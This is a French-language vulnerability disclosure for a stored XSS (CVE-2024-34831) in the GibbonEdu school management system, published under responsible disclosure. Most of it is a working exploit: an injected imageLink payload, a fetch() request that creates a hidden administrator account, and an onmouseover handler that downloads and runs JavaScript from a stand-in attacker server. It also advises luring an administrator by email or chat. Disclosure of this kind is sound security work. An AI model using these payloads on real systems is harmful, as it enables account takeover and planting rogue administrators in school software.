
Divulgation détaillée de CVE-2024-34831 : XSS stocké dans GibbonEdu Core v26.0.00 conduisant à une élévation de privilèges via le paramètre imageLink malveillant et une charge utile JavaScript à distance.
Gibbon est un excellent système de gestion scolaire open source complet. Beaucoup d'efforts sont déployés pour remanier la base de code plutôt ancienne.
Auteur : Christian Bajada
Le paramètre imageLink lors de la modification/soumission de nouveaux livres (/modules/Library/library_manage_catalog_editProcess.php) est vulnérable aux XSS. Les utilisateurs disposant de l'autorisation Gérer le catalogue peuvent exploiter cette vulnérabilité, provoquant l'exécution de scripts arbitraires pour les utilisateurs ayant des autorisations plus élevées et élever leurs privilèges.
[http://x](http://x/)" onerror='alert(1)' et le code d'alerte s'exécutera lors du chargement de la page de la bibliothèque :

Cette section explique comment cette vulnérabilité peut être utilisée pour quelque chose de plus dangereux qu'une simple fenêtre contextuelle d'alerte (1). Nous allons tromper un administrateur connecté pour qu'il crée un autre administrateur, accessible par l'attaquant.
Le champ imageLink est trop petit pour nous permettre d'invoquer des fonctionnalités significatives sur la plateforme Gibbon. Ce que nous pouvons faire, c'est simplement héberger le JavaScript ailleurs et le faire télécharger et exécuter par le navigateur. L'absence de CSP rend cela possible.
fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });
http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"
Vous devez soit attendre que l'administrateur navigue vers le catalogue de la bibliothèque, soit le convaincre via messagerie instantanée, email ou tout autre canal.
Le fait de survoler avec la souris (onmouseover) l'image du livre entraînera la récupération de la charge utile depuis l'emplacement (dans ce cas <yourserver.com>) et son exécution. Cela conduit à la création d'un utilisateur administrateur que l'utilisateur malveillant peut désormais utiliser. L'écouteur 'onerror' peut également être utilisé pour exécuter la charge utile immédiatement plutôt que de devoir survoler l'image.
Vous pouvez vérifier l'utilisateur créé dans le menu ADMIN > User Admin

Publié conformément aux directives de divulgation responsable https://github.com/GibbonEdu/core/security.